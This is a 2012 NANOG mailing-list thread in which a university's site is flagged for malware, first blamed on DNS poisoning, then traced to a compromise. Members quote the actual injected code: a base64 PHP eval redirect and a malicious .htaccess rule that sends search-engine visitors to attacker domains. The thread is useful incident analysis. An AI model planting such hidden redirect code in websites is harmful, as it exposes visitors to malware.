Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com. We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either. We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers. We believe the DNS servers used by Google's crawler have been poisoned. Can anyone shed some light on this? matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu>
Accidentally sent that to Matthew only, mind sharing the domain name? On Tue, Jun 26, 2012 at 11:53 PM, Matthew Black <Matthew.Black@csulb.edu> wrote:
Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com.
We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either.
We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers.
We believe the DNS servers used by Google's crawler have been poisoned.
Can anyone shed some light on this?
matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu>
-- Sadiq S O< ascii ribbon campaign - stop html mail - www.asciiribbon.org
I'm glad I'm not the only one that miss this one: http://www.csulb.edu It is in his signature and email address as well ;) On Tue, Jun 26, 2012 at 11:04 PM, Sadiq Saif <sadiq@asininetech.com> wrote:
Accidentally sent that to Matthew only,
mind sharing the domain name?
On Tue, Jun 26, 2012 at 11:53 PM, Matthew Black <Matthew.Black@csulb.edu> wrote:
Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com.
We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either.
We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers.
We believe the DNS servers used by Google's crawler have been poisoned.
Can anyone shed some light on this?
matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu>
-- Sadiq S O< ascii ribbon campaign - stop html mail - www.asciiribbon.org
On Jun 26, 2012, at 9:07 PM, Ishmael Rufus wrote:
I'm glad I'm not the only one that miss this one:
It is in his signature and email address as well ;)
The queries do seem to be taking a number of seconds, though, as opposed to being nearly instant when I reference the DNS servers of record directly. The results I get at home (via SpeakEasy) all appear correct, though.
On Tue, Jun 26, 2012 at 11:04 PM, Sadiq Saif <sadiq@asininetech.com> wrote:
Accidentally sent that to Matthew only,
mind sharing the domain name?
On Tue, Jun 26, 2012 at 11:53 PM, Matthew Black <Matthew.Black@csulb.edu> wrote:
Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com.
We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either.
We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers.
We believe the DNS servers used by Google's crawler have been poisoned.
Can anyone shed some light on this?
matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu>
-- Sadiq S O< ascii ribbon campaign - stop html mail - www.asciiribbon.org
Aloha, Michael. -- "Please have your Internet License and Usenet Registration handy..."
Is it possible that some malicious software is listening and injecting a redirect on the wire? We've seen this before with a Windows machine being infected. On 26 June 2012 20:53, Matthew Black <Matthew.Black@csulb.edu> wrote:
Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com.
We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either.
We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers.
We believe the DNS servers used by Google's crawler have been poisoned.
Can anyone shed some light on this?
matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu>
-- Landon Stewart <LStewart@Superb.Net> Sr. Administrator Systems Engineering Superb Internet Corp - 888-354-6128 x 4199 Web hosting and more "Ahead of the Rest": http://www.superbhosting.net
I am also getting the same issue when accessing his website. On Tue, Jun 26, 2012 at 11:07 PM, Landon Stewart <lstewart@superb.net>wrote:
Is it possible that some malicious software is listening and injecting a redirect on the wire? We've seen this before with a Windows machine being infected.
On 26 June 2012 20:53, Matthew Black <Matthew.Black@csulb.edu> wrote:
Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com.
We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either.
We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers.
We believe the DNS servers used by Google's crawler have been poisoned.
Can anyone shed some light on this?
matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu>
-- Landon Stewart <LStewart@Superb.Net> Sr. Administrator Systems Engineering Superb Internet Corp - 888-354-6128 x 4199 Web hosting and more "Ahead of the Rest": http://www.superbhosting.net
DNS seems to check out from here. Tested against Google DNS, OpenDNS and Linode's DNS servers. According to Google: "Malicious software is hosted on 1 domain(s), including couchtarts.com/." Normally, I would say this happens due to malicious ads loaded but this does not seem to be a site that will contain ads. :) On Wed, Jun 27, 2012 at 12:12 AM, Ishmael Rufus <sakamura@gmail.com> wrote:
I am also getting the same issue when accessing his website.
On Tue, Jun 26, 2012 at 11:07 PM, Landon Stewart <lstewart@superb.net>wrote:
Is it possible that some malicious software is listening and injecting a redirect on the wire? We've seen this before with a Windows machine being infected.
On 26 June 2012 20:53, Matthew Black <Matthew.Black@csulb.edu> wrote:
Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com.
We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either.
We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers.
We believe the DNS servers used by Google's crawler have been poisoned.
Can anyone shed some light on this?
matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu>
-- Landon Stewart <LStewart@Superb.Net> Sr. Administrator Systems Engineering Superb Internet Corp - 888-354-6128 x 4199 Web hosting and more "Ahead of the Rest": http://www.superbhosting.net
-- Sadiq S O< ascii ribbon campaign - stop html mail - www.asciiribbon.org
Running Apache on three Solaris webservers behind a load balancer. No MS Windows! Not sure how malicious software could get between our load balancer and Unix servers. Thanks for the tip! matthew black information technology services california state university, long beach From: Landon Stewart [mailto:lstewart@superb.net] Sent: Tuesday, June 26, 2012 9:07 PM To: Matthew Black Cc: nanog@nanog.org Subject: Re: DNS poisoning at Google? Is it possible that some malicious software is listening and injecting a redirect on the wire? We've seen this before with a Windows machine being infected. On 26 June 2012 20:53, Matthew Black <Matthew.Black@csulb.edu<mailto:Matthew.Black@csulb.edu>> wrote: Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com<http://couchtarts.com>. We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either. We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers. We believe the DNS servers used by Google's crawler have been poisoned. Can anyone shed some light on this? matthew black information technology services california state university, long beach www.csulb.edu<http://www.csulb.edu><http://www.csulb.edu> -- Landon Stewart <LStewart@Superb.Net<mailto:LStewart@Superb.Net>> Sr. Administrator Systems Engineering Superb Internet Corp - 888-354-6128 x 4199 Web hosting and more "Ahead of the Rest": http://www.superbhosting.net<http://www.superbhosting.net/>
On Jun 26, 2012, at 10:53 PM, Matthew Black wrote:
Google Safe Browsing and Firefox have marked our website as containing malware. They claim our home page returns no results, but redirects users to another compromised website couchtarts.com.
We have thoroughly examined our root .htaccess and httpd.conf files and are not redirecting to the problem target site. No recent changes either.
We ran some NSLOOKUPs against various public DNS servers and intermittently get results that are NOT our servers.
We believe the DNS servers used by Google's crawler have been poisoned.
Can anyone shed some light on this?
Not sure if it's related, but yesterday one of my clients (a top 500 alexa site) suddenly had most search results (when googling for things like the site's name) suddenly change to some other shady looking domain that's just sending 302 redirects to the real site. All the same search results are there, but they're now sending everyone to the wrong domain that's just redirecting to the correct place. No idea how Google thought this is correct and I'm totally failing at getting anyone's attention at Google to look into this. This coincided with this message from @google on twitter yesterday: Heads up: we're pushing a new Panda data refresh that noticeably affects only ~1% of queries worldwide. http://twitter.com/google/status/217366321879453696 But i'm not sure that's related either. -- Kevin
On Wed, Jun 27, 2012 at 03:53:17AM +0000, Matthew Black <Matthew.Black@csulb.edu> wrote a message of 18 lines which said:
We believe the DNS servers used by Google's crawler have been poisoned.
[After reading the whole thread and discovering that Google was indeed right.] What made you think it can be a DNS cache poisoning (a very rare event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)? What was the evidence pointing to a DNS problem?
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <bortzmeyer@nic.fr>wrote: What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the evidence. Something that could happen to anyone when operating outside of a comfort zone or having a bad day. Go easy. -DR
It was not DNS issue, but it was a clear case on how community-support helped. Some of us may even learn some new tricks. :) Regards, as Sent from mobile device. Excuse brevity and typos. On 27 Jun 2012, at 05:07, Daniel Rohan <drohan@gmail.com> wrote:
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <bortzmeyer@nic.fr>wrote:
What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the evidence. Something that could happen to anyone when operating outside of a comfort zone or having a bad day. Go easy.
-DR
What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded) On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
It was not DNS issue, but it was a clear case on how community-support helped.
Some of us may even learn some new tricks. :)
Regards, as
Sent from mobile device. Excuse brevity and typos.
On 27 Jun 2012, at 05:07, Daniel Rohan <drohan@gmail.com> wrote:
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <bortzmeyer@nic.fr>wrote:
What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the evidence. Something that could happen to anyone when operating outside of a comfort zone or having a bad day. Go easy.
-DR
-- - (2^(N-1))
On Jun 27, 2012, at 9:26 AM, Jason Hellenthal wrote:
What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded)
I cleaned up compromises similar to this in a customer site fairly recently. In our case it was the same exact behavior but was php injected into their application, instead of .htaccess. I do not recall what the original compromise vector was, it was something in the customer's custom application which they resolved. It looked like the malware did a find and replace for <?php and replaced it with: <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJ1Z2dlLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0=")); Which decoded yields: error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://brugge.osa.pl/"); exit(); } } } } (where brugge.osa.pl was the destination for the redirects in the compromise of this customer site)
On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
<snip>
--
- (2^(N-1))
On Jun 27, 2012, at 10:10 AM, Ryan Rawdon wrote:
On Jun 27, 2012, at 9:26 AM, Jason Hellenthal wrote:
What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded)
I cleaned up compromises similar to this in a customer site fairly recently. In our case it was the same exact behavior but was php injected into their application, instead of .htaccess. I do not recall what the original compromise vector was, it was something in the customer's custom application which they resolved.
It looked like the malware did a find and replace for <?php and replaced it with:
<snipped> http://r.u13.net/permatemp/forefront.png My message may have gotten caught as spam/malicious by filters. Not sure if it caught the base64 or plaintext so I snipped both. You can view my original message in the archives at http://mailman.nanog.org/pipermail/nanog/2012-June/049612.html
(where brugge.osa.pl was the destination for the redirects in the compromise of this customer site)
On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
<snip>
--
- (2^(N-1))
Ask and ye shall receive: # more .htaccess (backup copy) #c3284d# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|alt avista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysea rch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|d ogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditirel and|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsea rchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick| jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|l ive|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlse arch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|sea rchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|s uchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-onlin e|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche| westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L] </IfModule> #/c3284d# # # # matthew black information technology services california state university, long beach -----Original Message----- From: Jason Hellenthal [mailto:jhellenthal@dataix.net] Sent: Wednesday, June 27, 2012 6:26 AM To: Arturo Servin Cc: nanog@nanog.org Subject: Re: No DNS poisoning at Google (in case of trouble, blame the DNS) What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded) On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
It was not DNS issue, but it was a clear case on how community-support helped.
Some of us may even learn some new tricks. :)
Regards, as
Sent from mobile device. Excuse brevity and typos.
On 27 Jun 2012, at 05:07, Daniel Rohan <drohan@gmail.com> wrote:
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <bortzmeyer@nic.fr>wrote:
What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the evidence. Something that could happen to anyone when operating outside of a comfort zone or having a bad day. Go easy.
-DR
-- - (2^(N-1))
By the way, FTP access originated from: 208.88.11.111 Sky Wire Communications SKYWIRE-SG (NET-208-88-8-0-1) 208.88.8.0 - 208.88.11.255 NetRange: 208.88.8.0 - 208.88.11.255 CIDR: 208.88.8.0/22 OriginAS: AS40603 NetName: SKYWIRE-SG NetHandle: NET-208-88-8-0-1 Parent: NET-208-0-0-0-0 NetType: Direct Allocation Comment: http://www.skywireusa.com RegDate: 2008-03-04 Updated: 2012-03-02 Ref: http://whois.arin.net/rest/net/NET-208-88-8-0-1 OrgName: Sky Wire Communications OrgId: DGSU Address: 946 W Sunset Blvd Ste L City: St George StateProv: UT PostalCode: 84770 Country: US RegDate: 2007-12-04 Updated: 2009-11-04 Ref: http://whois.arin.net/rest/org/DGSU Who We Are Skywire Communications is the Leading High Speed Internet Provider in Southern Utah. Offering Service in St George, Washington, Santa Clara, Ivins, Cedar City, and Enoch. It is the goal of SkyWire Communications to provide high speed internet access to 100 Percent of Southern Utah. We are located in St George, Utah. matthew black information technology services california state university, long beach -----Original Message----- From: Matthew Black [mailto:Matthew.Black@csulb.edu] Sent: Wednesday, June 27, 2012 9:52 AM To: 'Jason Hellenthal'; Arturo Servin Cc: nanog@nanog.org Subject: RE: No DNS poisoning at Google (in case of trouble, blame the DNS) Ask and ye shall receive: # more .htaccess (backup copy) #c3284d# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|alt avista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysea rch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|d ogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditirel and|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsea rchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick| jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|l ive|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlse arch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|sea rchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|s uchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-onlin e|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche| westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L] </IfModule> #/c3284d# # # # matthew black information technology services california state university, long beach -----Original Message----- From: Jason Hellenthal [mailto:jhellenthal@dataix.net] Sent: Wednesday, June 27, 2012 6:26 AM To: Arturo Servin Cc: nanog@nanog.org Subject: Re: No DNS poisoning at Google (in case of trouble, blame the DNS) What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded) On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
It was not DNS issue, but it was a clear case on how community-support helped.
Some of us may even learn some new tricks. :)
Regards, as
Sent from mobile device. Excuse brevity and typos.
On 27 Jun 2012, at 05:07, Daniel Rohan <drohan@gmail.com> wrote:
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <bortzmeyer@nic.fr>wrote:
What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the evidence. Something that could happen to anyone when operating outside of a comfort zone or having a bad day. Go easy.
-DR
-- - (2^(N-1))
it actually appears that skywire has a suballocation for that block, http://www.robtex.com/ip/208.88.11.111.html#whois # # The following results may also be obtained via: # http://whois.arin.net <http://www.robtex.com/dns/whois.arin.net.html> /rest/nets;q=208.88.11.111 <http://www.robtex.com/ip/208.88.11.111.html> ?showDetails=true&showARIN=false&ext=netref2 # American West Internet SKYWIRE-SG (NET-208-88-11-0-1) 208.88.11.0<http://www.robtex.com/ip/208.88.11.0.html> - 208.88.11.255 <http://www.robtex.com/ip/208.88.11.255.html> Sky Wire Communications SKYWIRE-SG (NET-208-88-8-0-1) 208.88.8.0<http://www.robtex.com/ip/208.88.8.0.html> - 208.88.11.255 <http://www.robtex.com/ip/208.88.11.255.html> # # ARIN WHOIS data and services are subject to the Terms of Use # available at: https://www.arin.net<http://www.robtex.com/dns/www.arin.net.html> /whois_tou.html # On Wed, Jun 27, 2012 at 12:56 PM, Matthew Black <Matthew.Black@csulb.edu>wrote:
By the way, FTP access originated from: 208.88.11.111
Sky Wire Communications SKYWIRE-SG (NET-208-88-8-0-1) 208.88.8.0 - 208.88.11.255
NetRange: 208.88.8.0 - 208.88.11.255 CIDR: 208.88.8.0/22 OriginAS: AS40603 NetName: SKYWIRE-SG NetHandle: NET-208-88-8-0-1 Parent: NET-208-0-0-0-0 NetType: Direct Allocation Comment: http://www.skywireusa.com RegDate: 2008-03-04 Updated: 2012-03-02 Ref: http://whois.arin.net/rest/net/NET-208-88-8-0-1
OrgName: Sky Wire Communications OrgId: DGSU Address: 946 W Sunset Blvd Ste L City: St George StateProv: UT PostalCode: 84770 Country: US RegDate: 2007-12-04 Updated: 2009-11-04 Ref: http://whois.arin.net/rest/org/DGSU
Who We Are Skywire Communications is the Leading High Speed Internet Provider in Southern Utah. Offering Service in St George, Washington, Santa Clara, Ivins, Cedar City, and Enoch. It is the goal of SkyWire Communications to provide high speed internet access to 100 Percent of Southern Utah. We are located in St George, Utah.
matthew black information technology services california state university, long beach
-----Original Message----- From: Matthew Black [mailto:Matthew.Black@csulb.edu] Sent: Wednesday, June 27, 2012 9:52 AM To: 'Jason Hellenthal'; Arturo Servin Cc: nanog@nanog.org Subject: RE: No DNS poisoning at Google (in case of trouble, blame the DNS)
Ask and ye shall receive:
# more .htaccess (backup copy)
#c3284d# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|alt
avista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysea
rch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|d
ogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditirel
and|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsea
rchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|
jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|l
ive|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlse
arch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|sea
rchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|s
uchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-onlin
e|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|
westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L] </IfModule> #/c3284d#
# # #
matthew black information technology services california state university, long beach
-----Original Message----- From: Jason Hellenthal [mailto:jhellenthal@dataix.net] Sent: Wednesday, June 27, 2012 6:26 AM To: Arturo Servin Cc: nanog@nanog.org Subject: Re: No DNS poisoning at Google (in case of trouble, blame the DNS)
What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded)
On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
It was not DNS issue, but it was a clear case on how community-support
helped.
Some of us may even learn some new tricks. :)
Regards, as
Sent from mobile device. Excuse brevity and typos.
On 27 Jun 2012, at 05:07, Daniel Rohan <drohan@gmail.com> wrote:
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <
bortzmeyer@nic.fr>wrote:
What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the evidence. Something that could happen to anyone when operating outside of a
comfort
zone or having a bad day. Go easy.
-DR
--
- (2^(N-1))
-- Kyle Creyts Information Assurance Professional BSidesDetroit Organizer
and upon further investigation, it seems like there might be an actual organization using a host with that IP... http://www.robtex.com/dns/chatwithus.net.html#shared On Tue, Jul 3, 2012 at 2:27 PM, Kyle Creyts <kyle.creyts@gmail.com> wrote:
it actually appears that skywire has a suballocation for that block, http://www.robtex.com/ip/208.88.11.111.html#whois
# # The following results may also be obtained via: # http://whois.arin.net <http://www.robtex.com/dns/whois.arin.net.html> /rest/nets;q=208.88.11.111 <http://www.robtex.com/ip/208.88.11.111.html> ?showDetails=true&showARIN=false&ext=netref2 #
American West Internet SKYWIRE-SG (NET-208-88-11-0-1) 208.88.11.0<http://www.robtex.com/ip/208.88.11.0.html> - 208.88.11.255 <http://www.robtex.com/ip/208.88.11.255.html>
Sky Wire Communications SKYWIRE-SG (NET-208-88-8-0-1) 208.88.8.0<http://www.robtex.com/ip/208.88.8.0.html> - 208.88.11.255 <http://www.robtex.com/ip/208.88.11.255.html>
# # ARIN WHOIS data and services are subject to the Terms of Use # available at: https://www.arin.net<http://www.robtex.com/dns/www.arin.net.html> /whois_tou.html #
On Wed, Jun 27, 2012 at 12:56 PM, Matthew Black <Matthew.Black@csulb.edu>wrote:
By the way, FTP access originated from: 208.88.11.111
Sky Wire Communications SKYWIRE-SG (NET-208-88-8-0-1) 208.88.8.0 - 208.88.11.255
NetRange: 208.88.8.0 - 208.88.11.255 CIDR: 208.88.8.0/22 OriginAS: AS40603 NetName: SKYWIRE-SG NetHandle: NET-208-88-8-0-1 Parent: NET-208-0-0-0-0 NetType: Direct Allocation Comment: http://www.skywireusa.com RegDate: 2008-03-04 Updated: 2012-03-02 Ref: http://whois.arin.net/rest/net/NET-208-88-8-0-1
OrgName: Sky Wire Communications OrgId: DGSU Address: 946 W Sunset Blvd Ste L City: St George StateProv: UT PostalCode: 84770 Country: US RegDate: 2007-12-04 Updated: 2009-11-04 Ref: http://whois.arin.net/rest/org/DGSU
Who We Are Skywire Communications is the Leading High Speed Internet Provider in Southern Utah. Offering Service in St George, Washington, Santa Clara, Ivins, Cedar City, and Enoch. It is the goal of SkyWire Communications to provide high speed internet access to 100 Percent of Southern Utah. We are located in St George, Utah.
matthew black information technology services california state university, long beach
-----Original Message----- From: Matthew Black [mailto:Matthew.Black@csulb.edu] Sent: Wednesday, June 27, 2012 9:52 AM To: 'Jason Hellenthal'; Arturo Servin Cc: nanog@nanog.org Subject: RE: No DNS poisoning at Google (in case of trouble, blame the DNS)
Ask and ye shall receive:
# more .htaccess (backup copy)
